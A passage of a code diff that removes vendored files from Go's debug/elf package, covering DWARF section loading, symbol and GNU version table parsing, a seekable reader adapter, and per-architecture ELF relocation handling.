|
||||
// applies any applicable relations.
|
||||
sectionData := func(i int, s *Section) ([]byte, error) {
|
||||
b, err := s.Data()
|
||||
if err != nil && uint64(len(b)) < s.Size {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
if len(b) >= 12 && string(b[:4]) == "ZLIB" {
|
||||
dlen := binary.BigEndian.Uint64(b[4:12])
|
||||
dbuf := make([]byte, dlen)
|
||||
r, err := zlib.NewReader(bytes.NewBuffer(b[12:]))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if _, err := io.ReadFull(r, dbuf); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if err := r.Close(); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
b = dbuf
|
||||
}
|
||||
|
||||
for _, r := range f.Sections {
|
||||
if r.Type != SHT_RELA && r.Type != SHT_REL {
|
||||
continue
|
||||
}
|
||||
if int(r.Info) != i {
|
||||
continue
|
||||
}
|
||||
rd, err := r.Data()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
err = f.applyRelocations(b, rd)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
return b, nil
|
||||
}
|
||||
|
||||
// There are many other DWARF sections, but these
|
||||
// are the ones the debug/dwarf package uses.
|
||||
// Don't bother loading others.
|
||||
var dat = map[string][]byte{"abbrev": nil, "info": nil, "str": nil, "line": nil, "ranges": nil}
|
||||
for i, s := range f.Sections {
|
||||
suffix := dwarfSuffix(s)
|
||||
if suffix == "" {
|
||||
continue
|
||||
}
|
||||
if _, ok := dat[suffix]; !ok {
|
||||
continue
|
||||
}
|
||||
b, err := sectionData(i, s)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
dat[suffix] = b
|
||||
}
|
||||
|
||||
d, err := dwarf.New(dat["abbrev"], nil, nil, dat["info"], dat["line"], nil, dat["ranges"], dat["str"])
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// Look for DWARF4 .debug_types sections.
|
||||
for i, s := range f.Sections {
|
||||
suffix := dwarfSuffix(s)
|
||||
if suffix != "types" {
|
||||
continue
|
||||
}
|
||||
|
||||
b, err := sectionData(i, s)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
err = d.AddTypes(fmt.Sprintf("types-%d", i), b)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
|
||||
return d, nil
|
||||
}
|
||||
|
||||
// Symbols returns the symbol table for f. The symbols will be listed in the order
|
||||
// they appear in f.
|
||||
//
|
||||
// For compatibility with Go 1.0, Symbols omits the null symbol at index 0.
|
||||
// After retrieving the symbols as symtab, an externally supplied index x
|
||||
// corresponds to symtab[x-1], not symtab[x].
|
||||
func (f *File) Symbols() ([]Symbol, error) {
|
||||
sym, _, err := f.getSymbols(SHT_SYMTAB)
|
||||
return sym, err
|
||||
}
|
||||
|
||||
// DynamicSymbols returns the dynamic symbol table for f. The symbols
|
||||
// will be listed in the order they appear in f.
|
||||
//
|
||||
// For compatibility with Symbols, DynamicSymbols omits the null symbol at index 0.
|
||||
// After retrieving the symbols as symtab, an externally supplied index x
|
||||
// corresponds to symtab[x-1], not symtab[x].
|
||||
func (f *File) DynamicSymbols() ([]Symbol, error) {
|
||||
sym, _, err := f.getSymbols(SHT_DYNSYM)
|
||||
return sym, err
|
||||
}
|
||||
|
||||
type ImportedSymbol struct {
|
||||
Name string
|
||||
Version string
|
||||
Library string
|
||||
}
|
||||
|
||||
// ImportedSymbols returns the names of all symbols
|
||||
// referred to by the binary f that are expected to be
|
||||
// satisfied by other libraries at dynamic load time.
|
||||
// It does not return weak symbols.
|
||||
func (f *File) ImportedSymbols() ([]ImportedSymbol, error) {
|
||||
sym, str, err := f.getSymbols(SHT_DYNSYM)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
f.gnuVersionInit(str)
|
||||
var all []ImportedSymbol
|
||||
for i, s := range sym {
|
||||
if ST_BIND(s.Info) == STB_GLOBAL && s.Section == SHN_UNDEF {
|
||||
all = append(all, ImportedSymbol{Name: s.Name})
|
||||
f.gnuVersion(i, &all[len(all)-1])
|
||||
}
|
||||
}
|
||||
return all, nil
|
||||
}
|
||||
|
||||
type verneed struct {
|
||||
File string
|
||||
Name string
|
||||
}
|
||||
|
||||
// gnuVersionInit parses the GNU version tables
|
||||
// for use by calls to gnuVersion.
|
||||
func (f *File) gnuVersionInit(str []byte) {
|
||||
// Accumulate verneed information.
|
||||
vn := f.SectionByType(SHT_GNU_VERNEED)
|
||||
if vn == nil {
|
||||
return
|
||||
}
|
||||
d, _ := vn.Data()
|
||||
|
||||
var need []verneed
|
||||
i := 0
|
||||
for {
|
||||
if i+16 > len(d) {
|
||||
break
|
||||
}
|
||||
vers := f.ByteOrder.Uint16(d[i : i+2])
|
||||
if vers != 1 {
|
||||
break
|
||||
}
|
||||
cnt := f.ByteOrder.Uint16(d[i+2 : i+4])
|
||||
fileoff := f.ByteOrder.Uint32(d[i+4 : i+8])
|
||||
aux := f.ByteOrder.Uint32(d[i+8 : i+12])
|
||||
next := f.ByteOrder.Uint32(d[i+12 : i+16])
|
||||
file, _ := getString(str, int(fileoff))
|
||||
|
||||
var name string
|
||||
j := i + int(aux)
|
||||
for c := 0; c < int(cnt); c++ {
|
||||
if j+16 > len(d) {
|
||||
break
|
||||
}
|
||||
// hash := f.ByteOrder.Uint32(d[j:j+4])
|
||||
// flags := f.ByteOrder.Uint16(d[j+4:j+6])
|
||||
other := f.ByteOrder.Uint16(d[j+6 : j+8])
|
||||
nameoff := f.ByteOrder.Uint32(d[j+8 : j+12])
|
||||
next := f.ByteOrder.Uint32(d[j+12 : j+16])
|
||||
name, _ = getString(str, int(nameoff))
|
||||
ndx := int(other)
|
||||
if ndx >= len(need) {
|
||||
a := make([]verneed, 2*(ndx+1))
|
||||
copy(a, need)
|
||||
need = a
|
||||
}
|
||||
|
||||
need[ndx] = verneed{file, name}
|
||||
if next == 0 {
|
||||
break
|
||||
}
|
||||
j += int(next)
|
||||
}
|
||||
|
||||
if next == 0 {
|
||||
break
|
||||
}
|
||||
i += int(next)
|
||||
}
|
||||
|
||||
// Versym parallels symbol table, indexing into verneed.
|
||||
vs := f.SectionByType(SHT_GNU_VERSYM)
|
||||
if vs == nil {
|
||||
return
|
||||
}
|
||||
d, _ = vs.Data()
|
||||
|
||||
f.gnuNeed = need
|
||||
f.gnuVersym = d
|
||||
}
|
||||
|
||||
// gnuVersion adds Library and Version information to sym,
|
||||
// which came from offset i of the symbol table.
|
||||
func (f *File) gnuVersion(i int, sym *ImportedSymbol) {
|
||||
// Each entry is two bytes.
|
||||
i = (i + 1) * 2
|
||||
if i >= len(f.gnuVersym) {
|
||||
return
|
||||
}
|
||||
j := int(f.ByteOrder.Uint16(f.gnuVersym[i:]))
|
||||
if j < 2 || j >= len(f.gnuNeed) {
|
||||
return
|
||||
}
|
||||
n := &f.gnuNeed[j]
|
||||
sym.Library = n.File
|
||||
sym.Version = n.Name
|
||||
}
|
||||
|
||||
// ImportedLibraries returns the names of all libraries
|
||||
// referred to by the binary f that are expected to be
|
||||
// linked with the binary at dynamic link time.
|
||||
func (f *File) ImportedLibraries() ([]string, error) {
|
||||
return f.DynString(DT_NEEDED)
|
||||
}
|
||||
|
||||
func (f *File) parseDynTags() error {
|
||||
s := f.SectionByType(SHT_DYNAMIC)
|
||||
if s == nil {
|
||||
return nil // nothing to do
|
||||
}
|
||||
|
||||
var m []DynTagValue
|
||||
d, err := s.Data()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
//fmt.Printf("%+v\nd: %x len(%d)\n", s, d, len(d))
|
||||
|
||||
r := bytes.NewBuffer(d)
|
||||
for {
|
||||
var t, v uint64
|
||||
if err := binary.Read(r, f.ByteOrder, &t); err != nil {
|
||||
if err == io.EOF {
|
||||
break
|
||||
} else if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
if err := binary.Read(r, f.ByteOrder, &v); err != nil {
|
||||
if err == io.EOF {
|
||||
break
|
||||
} else if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
m = append(m, DynTagValue{Tag: DynTag(t), Value: v})
|
||||
//fmt.Printf("%x -> %x\n", t, v)
|
||||
}
|
||||
f.DynTags = m
|
||||
return nil
|
||||
}
|
||||
|
||||
// DynString returns the strings listed for the given tag in the file's dynamic
|
||||
// section.
|
||||
//
|
||||
// The tag must be one that takes string values: DT_NEEDED, DT_SONAME, DT_RPATH, or
|
||||
// DT_RUNPATH.
|
||||
func (f *File) DynString(tag DynTag) ([]string, error) {
|
||||
switch tag {
|
||||
case DT_NEEDED, DT_SONAME, DT_RPATH, DT_RUNPATH:
|
||||
default:
|
||||
return nil, fmt.Errorf("non-string-valued tag %v", tag)
|
||||
}
|
||||
|
||||
ds := f.SectionByType(SHT_DYNAMIC)
|
||||
if ds == nil {
|
||||
// not dynamic, so no libraries
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
str, err := f.stringTable(ds.Link)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
var all []string
|
||||
for _, taggedValue := range f.DynTags {
|
||||
if taggedValue.Tag == tag {
|
||||
s, ok := getString(str, int(taggedValue.Value))
|
||||
if ok {
|
||||
all = append(all, s)
|
||||
}
|
||||
}
|
||||
}
|
||||
return all, nil
|
||||
}
|
||||
-108
@@ -1,108 +0,0 @@
|
||||
// Copyright 2015 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
package elf
|
||||
|
||||
import (
|
||||
"io"
|
||||
"os"
|
||||
)
|
||||
|
||||
// errorReader returns error from all operations.
|
||||
type errorReader struct {
|
||||
error
|
||||
}
|
||||
|
||||
func (r errorReader) Read(p []byte) (n int, err error) {
|
||||
return 0, r.error
|
||||
}
|
||||
|
||||
func (r errorReader) ReadAt(p []byte, off int64) (n int, err error) {
|
||||
return 0, r.error
|
||||
}
|
||||
|
||||
func (r errorReader) Seek(offset int64, whence int) (int64, error) {
|
||||
return 0, r.error
|
||||
}
|
||||
|
||||
func (r errorReader) Close() error {
|
||||
return r.error
|
||||
}
|
||||
|
||||
// readSeekerFromReader converts an io.Reader into an io.ReadSeeker.
|
||||
// In general Seek may not be efficient, but it is optimized for
|
||||
// common cases such as seeking to the end to find the length of the
|
||||
// data.
|
||||
type readSeekerFromReader struct {
|
||||
reset func() (io.Reader, error)
|
||||
r io.Reader
|
||||
size int64
|
||||
offset int64
|
||||
}
|
||||
|
||||
func (r *readSeekerFromReader) start() {
|
||||
x, err := r.reset()
|
||||
if err != nil {
|
||||
r.r = errorReader{err}
|
||||
} else {
|
||||
r.r = x
|
||||
}
|
||||
r.offset = 0
|
||||
}
|
||||
|
||||
func (r *readSeekerFromReader) Read(p []byte) (n int, err error) {
|
||||
if r.r == nil {
|
||||
r.start()
|
||||
}
|
||||
n, err = r.r.Read(p)
|
||||
r.offset += int64(n)
|
||||
return n, err
|
||||
}
|
||||
|
||||
func (r *readSeekerFromReader) Seek(offset int64, whence int) (int64, error) {
|
||||
var newOffset int64
|
||||
switch whence {
|
||||
case seekStart:
|
||||
newOffset = offset
|
||||
case seekCurrent:
|
||||
newOffset = r.offset + offset
|
||||
case seekEnd:
|
||||
newOffset = r.size + offset
|
||||
default:
|
||||
return 0, os.ErrInvalid
|
||||
}
|
||||
|
||||
switch {
|
||||
case newOffset == r.offset:
|
||||
return newOffset, nil
|
||||
|
||||
case newOffset < 0, newOffset > r.size:
|
||||
return 0, os.ErrInvalid
|
||||
|
||||
case newOffset == 0:
|
||||
r.r = nil
|
||||
|
||||
case newOffset == r.size:
|
||||
r.r = errorReader{io.EOF}
|
||||
|
||||
default:
|
||||
if newOffset < r.offset {
|
||||
// Restart at the beginning.
|
||||
r.start()
|
||||
}
|
||||
// Read until we reach offset.
|
||||
var buf [512]byte
|
||||
for r.offset < newOffset {
|
||||
b := buf[:]
|
||||
if newOffset-r.offset < int64(len(buf)) {
|
||||
b = buf[:newOffset-r.offset]
|
||||
}
|
||||
if _, err := r.Read(b); err != nil {
|
||||
return 0, err
|
||||
}
|
||||
}
|
||||
}
|
||||
r.offset = newOffset
|
||||
return r.offset, nil
|
||||
}
|
||||
-529
@@ -1,529 +0,0 @@
|
||||
package elf
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/binary"
|
||||
"errors"
|
||||
)
|
||||
|
||||
// applyRelocations applies relocations to dst. rels is a relocations section
|
||||
// in REL or RELA format.
|
||||
func (f *File) applyRelocations(dst []byte, rels []byte) error {
|
||||
switch {
|
||||
case f.Class == ELFCLASS64 && f.Machine == EM_X86_64:
|
||||
return f.applyRelocationsAMD64(dst, rels)
|
||||
case f.Class == ELFCLASS32 && f.Machine == EM_386:
|
||||
return f.applyRelocations386(dst, rels)
|
||||
case f.Class == ELFCLASS32 && f.Machine == EM_ARM:
|
||||
return f.applyRelocationsARM(dst, rels)
|
||||
case f.Class == ELFCLASS64 && f.Machine == EM_AARCH64:
|
||||
return f.applyRelocationsARM64(dst, rels)
|
||||
case f.Class == ELFCLASS32 && f.Machine == EM_PPC:
|
||||
return f.applyRelocationsPPC(dst, rels)
|
||||
case f.Class == ELFCLASS64 && f.Machine == EM_PPC64:
|
||||
return f.applyRelocationsPPC64(dst, rels)
|
||||
case f.Class == ELFCLASS32 && f.Machine == EM_MIPS:
|
||||
return f.applyRelocationsMIPS(dst, rels)
|
||||
case f.Class == ELFCLASS64 && f.Machine == EM_MIPS:
|
||||
return f.applyRelocationsMIPS64(dst, rels)
|
||||
case f.Class == ELFCLASS64 && f.Machine == EM_RISCV:
|
||||
return f.applyRelocationsRISCV64(dst, rels)
|
||||
case f.Class == ELFCLASS64 && f.Machine == EM_S390:
|
||||
return f.applyRelocationss390x(dst, rels)
|
||||
case f.Class == ELFCLASS64 && f.Machine == EM_SPARCV9:
|
||||
return f.applyRelocationsSPARC64(dst, rels)
|
||||
default:
|
||||
return errors.New("applyRelocations: not implemented")
|
||||
}
|
||||
}
|
||||
|
||||
func (f *File) applyRelocationsAMD64(dst []byte, rels []byte) error {
|
||||
// 24 is the size of Rela64.
|
||||
if len(rels)%24 != 0 {
|
||||
return errors.New("length of relocation section is not a multiple of 24")
|
||||
}
|
||||
|
||||
symbols, _, err := f.getSymbols(SHT_SYMTAB)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
b := bytes.NewReader(rels)
|
||||
var rela Rela64
|
||||
|
||||
for b.Len() > 0 {
|
||||
binary.Read(b, f.ByteOrder, &rela)
|
||||
symNo := rela.Info >> 32
|
||||
t := R_X86_64(rela.Info & 0xffff)
|
||||
|
||||
if symNo == 0 || symNo > uint64(len(symbols)) {
|
||||
continue
|
||||
}
|
||||
sym := &symbols[symNo-1]
|
||||
if SymType(sym.Info&0xf) != STT_SECTION {
|
||||
// We don't handle non-section relocations for now.
|
||||
continue
|
||||
}
|
||||
|
||||
// There are relocations, so this must be a normal
|
||||
// object file, and we only look at section symbols,
|
||||
// so we assume that the symbol value is 0.
|
||||
|
||||
switch t {
|
||||
case R_X86_64_64:
|
||||
if rela.Off+8 >= uint64(len(dst)) || rela.Addend < 0 {
|
||||
continue
|
||||
}
|
||||
f.ByteOrder.PutUint64(dst[rela.Off:rela.Off+8], uint64(rela.Addend))
|
||||
case R_X86_64_32:
|
||||
if rela.Off+4 >= uint64(len(dst)) || rela.Addend < 0 {
|
||||
continue
|
||||
}
|
||||
f.ByteOrder.PutUint32(dst[rela.Off:rela.Off+4], uint32(rela.Addend))
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (f *File) applyRelocations386(dst []byte, rels []byte) error {
|
||||
// 8 is the size of Rel32.
|
||||
if len(rels)%8 != 0 {
|
||||
return errors.New("length of relocation section is not a multiple of 8")
|
||||
}
|
||||
|
||||
symbols, _, err := f.getSymbols(SHT_SYMTAB)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
b := bytes.NewReader(rels)
|
||||
var rel Rel32
|
||||
|
||||
for b.Len() > 0 {
|
||||
binary.Read(b, f.ByteOrder, &rel)
|
||||
symNo := rel.Info >> 8
|
||||
t := R_386(rel.Info & 0xff)
|
||||
|
||||
if symNo == 0 || symNo > uint32(len(symbols)) {
|
||||
continue
|
||||
}
|
||||
sym := &symbols[symNo-1]
|
||||
|
||||
if t == R_386_32 {
|
||||
if rel.Off+4 >= uint32(len(dst)) {
|
||||
continue
|
||||
}
|
||||
val := f.ByteOrder.Uint32(dst[rel.Off : rel.Off+4])
|
||||
val += uint32(sym.Value)
|
||||
f.ByteOrder.PutUint32(dst[rel.Off:rel.Off+4], val)
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (f *File) applyRelocationsARM(dst []byte, rels []byte) error {
|
||||
// 8 is the size of Rel32.
|
||||
if len(rels)%8 != 0 {
|
||||
return errors.New("length of relocation section is not a multiple of 8")
|
||||
}
|
||||
|
||||
symbols, _, err := f.getSymbols(SHT_SYMTAB)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
b := bytes.NewReader(rels)
|
||||
var rel Rel32
|
||||
|
||||
for b.Len() > 0 {
|
||||
binary.Read(b, f.ByteOrder, &rel)
|
||||
symNo := rel.Info >> 8
|
||||
t := R_ARM(rel.Info & 0xff)
|
||||
|
||||
if symNo == 0 || symNo > uint32(len(symbols)) {
|
||||
continue
|
||||
}
|
||||
sym := &symbols[symNo-1]
|
||||
|
||||
switch t {
|
||||
case R_ARM_ABS32:
|
||||
if rel.Off+4 >= uint32(len(dst)) {
|
||||
continue
|
||||
}
|
||||
val := f.ByteOrder.Uint32(dst[rel.Off : rel.Off+4])
|
||||
val += uint32(sym.Value)
|
||||
f.ByteOrder.PutUint32(dst[rel.Off:rel.Off+4], val)
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (f *File) applyRelocationsARM64(dst []byte, rels []byte) error {
|
||||
// 24 is the size of Rela64.
|
||||
if len(rels)%24 != 0 {
|
||||
return errors.New("length of relocation section is not a multiple of 24")
|
||||
}
|
||||
|
||||
symbols, _, err := f.getSymbols(SHT_SYMTAB)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
b := bytes.NewReader(rels)
|
||||
var rela Rela64
|
||||
|
||||
for b.Len() > 0 {
|
||||
binary.Read(b, f.ByteOrder, &rela)
|
||||
symNo := rela.Info >> 32
|
||||
t := R_AARCH64(rela.Info & 0xffff)
|
||||
|
||||
if symNo == 0 || symNo > uint64(len(symbols)) {
|
||||
continue
|
||||
}
|
||||
sym := &symbols[symNo-1]
|
||||
if SymType(sym.Info&0xf) != STT_SECTION {
|
||||
// We don't handle non-section relocations for now.
|
||||
continue
|
||||
}
|
||||
|
||||
// There are relocations, so this must be a normal
|
||||
// object file, and we only look at section symbols,
|
||||
// so we assume that the symbol value is 0.
|
||||
|
||||
switch t {
|
||||
case R_AARCH64_ABS64:
|
||||
if rela.Off+8 >= uint64(len(dst)) || rela.Addend < 0 {
|
||||
continue
|
||||
}
|
||||
f.ByteOrder.PutUint64(dst[rela.Off:rela.Off+8], uint64(rela.Addend))
|
||||
case R_AARCH64_ABS32:
|
||||
if rela.Off+4 >= uint64(len(dst)) || rela.Addend < 0 {
|
||||
continue
|
||||
}
|
||||
f.ByteOrder.PutUint32(dst[rela.Off:rela.Off+4], uint32(rela.Addend))
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (f *File) applyRelocationsPPC(dst []byte, rels []byte) error {
|
||||
// 12 is the size of Rela32.
|
||||
if len(rels)%12 != 0 {
|
||||
return errors.New("length of relocation section is not a multiple of 12")
|
||||
}
|
||||
|
||||
symbols, _, err := f.getSymbols(SHT_SYMTAB)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
b := bytes.NewReader(rels)
|
||||
var rela Rela32
|
||||
|
||||
for b.Len() > 0 {
|
||||
binary.Read(b, f.ByteOrder, &rela)
|
||||
symNo := rela.Info >> 8
|
||||
t := R_PPC(rela.Info & 0xff)
|
||||
|
||||
if symNo == 0 || symNo > uint32(len(symbols)) {
|
||||
continue
|
||||
}
|
||||
sym := &symbols[symNo-1]
|
||||
if SymType(sym.Info&0xf) != STT_SECTION {
|
||||
// We don't handle non-section relocations for now.
|
||||
continue
|
||||
}
|
||||
|
||||
switch t {
|
||||
case R_PPC_ADDR32:
|
||||
if rela.Off+4 >= uint32(len(dst)) || rela.Addend < 0 {
|
||||
continue
|
||||
}
|
||||
f.ByteOrder.PutUint32(dst[rela.Off:rela.Off+4], uint32(rela.Addend))
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (f *File) applyRelocationsPPC64(dst []byte, rels []byte) error {
|
||||
// 24 is the size of Rela64.
|
||||
if len(rels)%24 != 0 {
|
||||
return errors.New("length of relocation section is not a multiple of 24")
|
||||
}
|
||||
|
||||
symbols, _, err := f.getSymbols(SHT_SYMTAB)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
b := bytes.NewReader(rels)
|
||||
var rela Rela64
|
||||
|
||||
for b.Len() > 0 {
|
||||
binary.Read(b, f.ByteOrder, &rela)
|
||||
symNo := rela.Info >> 32
|
||||
t := R_PPC64(rela.Info & 0xffff)
|
||||
|
||||
if symNo == 0 || symNo > uint64(len(symbols)) {
|
||||
continue
|
||||
}
|
||||
sym := &symbols[symNo-1]
|
||||
if SymType(sym.Info&0xf) != STT_SECTION {
|
||||
// We don't handle non-section relocations for now.
|
||||
continue
|
||||
}
|
||||
|
||||
switch t {
|
||||
case R_PPC64_ADDR64:
|
||||
if rela.Off+8 >= uint64(len(dst)) || rela.Addend < 0 {
|
||||
continue
|
||||
}
|
||||
f.ByteOrder.PutUint64(dst[rela.Off:rela.Off+8], uint64(rela.Addend))
|
||||
case R_PPC64_ADDR32:
|
||||
if rela.Off+4 >= uint64(len(dst)) || rela.Addend < 0 {
|
||||
continue
|
||||
}
|
||||
f.ByteOrder.PutUint32(dst[rela.Off:rela.Off+4], uint32(rela.Addend))
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (f *File) applyRelocationsMIPS(dst []byte, rels []byte) error {
|
||||
// 8 is the size of Rel32.
|
||||
if len(rels)%8 != 0 {
|
||||
return errors.New("length of relocation section is not a multiple of 8")
|
||||
}
|
||||
|
||||
symbols, _, err := f.getSymbols(SHT_SYMTAB)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
b := bytes.NewReader(rels)
|
||||
var rel Rel32
|
||||
|
||||
for b.Len() > 0 {
|
||||
binary.Read(b, f.ByteOrder, &rel)
|
||||
symNo := rel.Info >> 8
|
||||
t := R_MIPS(rel.Info & 0xff)
|
||||
|
||||
if symNo == 0 || symNo > uint32(len(symbols)) {
|
||||
continue
|
||||
}
|
||||
sym := &symbols[symNo-1]
|
||||
|
||||
switch t {
|
||||
case R_MIPS_32:
|
||||
if rel.Off+4 >= uint32(len(dst)) {
|
||||
continue
|
||||
}
|
||||
val := f.ByteOrder.Uint32(dst[rel.Off : rel.Off+4])
|
||||
val += uint32(sym.Value)
|
||||
f.ByteOrder.PutUint32(dst[rel.Off:rel.Off+4], val)
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (f *File) applyRelocationsMIPS64(dst []byte, rels []byte) error {
|
||||
// 24 is the size of Rela64.
|
||||
if len(rels)%24 != 0 {
|
||||
return errors.New("length of relocation section is not a multiple of 24")
|
||||
}
|
||||
|
||||
symbols, _, err := f.getSymbols(SHT_SYMTAB)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
b := bytes.NewReader(rels)
|
||||
var rela Rela64
|
||||
|
||||
for b.Len() > 0 {
|
||||
binary.Read(b, f.ByteOrder, &rela)
|
||||
var symNo uint64
|
||||
var t R_MIPS
|
||||
if f.ByteOrder == binary.BigEndian {
|
||||
symNo = rela.Info >> 32
|
||||
t = R_MIPS(rela.Info & 0xff)
|
||||
} else {
|
||||
symNo = rela.Info & 0xffffffff
|
||||
t = R_MIPS(rela.Info >> 56)
|
||||
}
|
||||
|
||||
if symNo == 0 || symNo > uint64(len(symbols)) {
|
||||
continue
|
||||
}
|
||||
sym := &symbols[symNo-1]
|
||||
if SymType(sym.Info&0xf) != STT_SECTION {
|
||||
// We don't handle non-section relocations for now.
|
||||
continue
|
||||
}
|
||||
|
||||
switch t {
|
||||
case R_MIPS_64:
|
||||
if rela.Off+8 >= uint64(len(dst)) || rela.Addend < 0 {
|
||||
continue
|
||||
}
|
||||
f.ByteOrder.PutUint64(dst[rela.Off:rela.Off+8], uint64(rela.Addend))
|
||||
case R_MIPS_32:
|
||||
if rela.Off+4 >= uint64(len(dst)) || rela.Addend < 0 {
|
||||
continue
|
||||
}
|
||||
f.ByteOrder.PutUint32(dst[rela.Off:rela.Off+4], uint32(rela.Addend))
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (f *File) applyRelocationsRISCV64(dst []byte, rels []byte) error {
|
||||
// 24 is the size of Rela64.
|
||||
if len(rels)%24 != 0 {
|
||||
return errors.New("length of relocation section is not a multiple of 24")
|
||||
}
|
||||
|
||||
symbols, _, err := f.getSymbols(SHT_SYMTAB)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
b := bytes.NewReader(rels)
|
||||
var rela Rela64
|
||||
|
||||
for b.Len() > 0 {
|
||||
binary.Read(b, f.ByteOrder, &rela)
|
||||
symNo := rela.Info >> 32
|
||||
t := R_RISCV(rela.Info & 0xffff)
|
||||
|
||||
if symNo == 0 || symNo > uint64(len(symbols)) {
|
||||
continue
|
||||
}
|
||||
sym := &symbols[symNo-1]
|
||||
switch SymType(sym.Info & 0xf) {
|
||||
case STT_SECTION, STT_NOTYPE:
|
||||
break
|
||||
default:
|
||||
continue
|
||||
}
|
||||
|
||||
switch t {
|
||||
case R_RISCV_64:
|
||||
if rela.Off+8 >= uint64(len(dst)) || rela.Addend < 0 {
|
||||
continue
|
||||
}
|
||||
val := sym.Value + uint64(rela.Addend)
|
||||
f.ByteOrder.PutUint64(dst[rela.Off:rela.Off+8], val)
|
||||
case R_RISCV_32:
|
||||
if rela.Off+4 >= uint64(len(dst)) || rela.Addend < 0 {
|
||||
continue
|
||||
}
|
||||
val := uint32(sym.Value) + uint32(rela.Addend)
|
||||
f.ByteOrder.PutUint32(dst[rela.Off:rela.Off+4], val)
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (f *File) applyRelocationss390x(dst []byte, rels []byte) error {
|
||||
// 24 is the size of Rela64.
|
||||
if len(rels)%24 != 0 {
|
||||
return errors.New("length of relocation section is not a multiple of 24")
|
||||
}
|
||||
|
||||
symbols, _, err := f.getSymbols(SHT_SYMTAB)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
b := bytes.NewReader(rels)
|
||||
var rela Rela64
|
||||
|
||||
for b.Len() > 0 {
|
||||
binary.Read(b, f.ByteOrder, &rela)
|
||||
symNo := rela.Info >> 32
|
||||
t := R_390(rela.Info & 0xffff)
|
||||
|
||||
if symNo == 0 || symNo > uint64(len(symbols)) {
|
||||
continue
|
||||
}
|
||||
sym := &symbols[symNo-1]
|
||||
switch SymType(sym.Info & 0xf) {
|
||||
case STT_SECTION, STT_NOTYPE:
|
||||
break
|
||||
default:
|
||||
continue
|
||||
}
|
||||
|
||||
switch t {
|
||||
case R_390_64:
|
||||
if rela.Off+8 >= uint64(len(dst)) || rela.Addend < 0 {
|
||||
continue
|
||||
}
|
||||
val := sym.Value + uint64(rela.Addend)
|
||||
f.ByteOrder.PutUint64(dst[rela.Off:rela.Off+8], val)
|
||||
case R_390_32:
|
||||
if rela.Off+4 >= uint64(len(dst)) || rela.Addend < 0 {
|
||||
continue
|
||||
}
|
||||
val := uint32(sym.Value) + uint32(rela.Addend)
|
||||
f.ByteOrder.PutUint32(dst[rela.Off:rela.Off+4], val)
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (f *File) applyRelocationsSPARC64(dst []byte, rels []byte) error {
|
||||
// 24 is the size of Rela64.
|
||||
if len(rels)%24 != 0 {
|
||||
return errors.New("length of relocation section is not a multiple of 24")
|
||||
}
|
||||
|
||||
symbols, _, err := f.getSymbols(SHT_SYMTAB)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
b := bytes.NewReader(rels)
|
||||
var rela Rela64
|
||||
|
||||
for b.Len() > 0 {
|
||||
binary.Read(b, f.ByteOrder, &rela)
|
||||
symNo := rela.Info >> 32
|
||||
t := R_SPARC(rela.Info & 0xff)
|
||||
|
||||
if symNo == 0 || symNo > uint64(len(symbols)) {
|
||||
continue
|
||||
}
|
||||
sym := &symbols[symNo-1]
|
||||
if SymType(sym.Info&0xf) != STT_SECTION {
|
||||
// We don't handle non-section relocations for now.
|
||||
continue
|
||||
}
|
||||
|
||||
switch t {
|
||||
case R_SPARC_64, R_SPARC_UA64:
|
||||
if rela.Off+8 >= uint64(len(dst)) || rela.Addend < 0 {
|
||||
continue
|
||||
}
|
||||
f.ByteOrder.PutUint64(dst[rela.Off:rela.Off+8], uint64(rela.Addend))
|
||||
case R_SPARC_32, R_SPARC_UA32:
|
||||
if rela.Off+4 >= uint64(len(dst)) || rela.Addend < 0 {
|
||||
continue
|
||||
}
|
||||
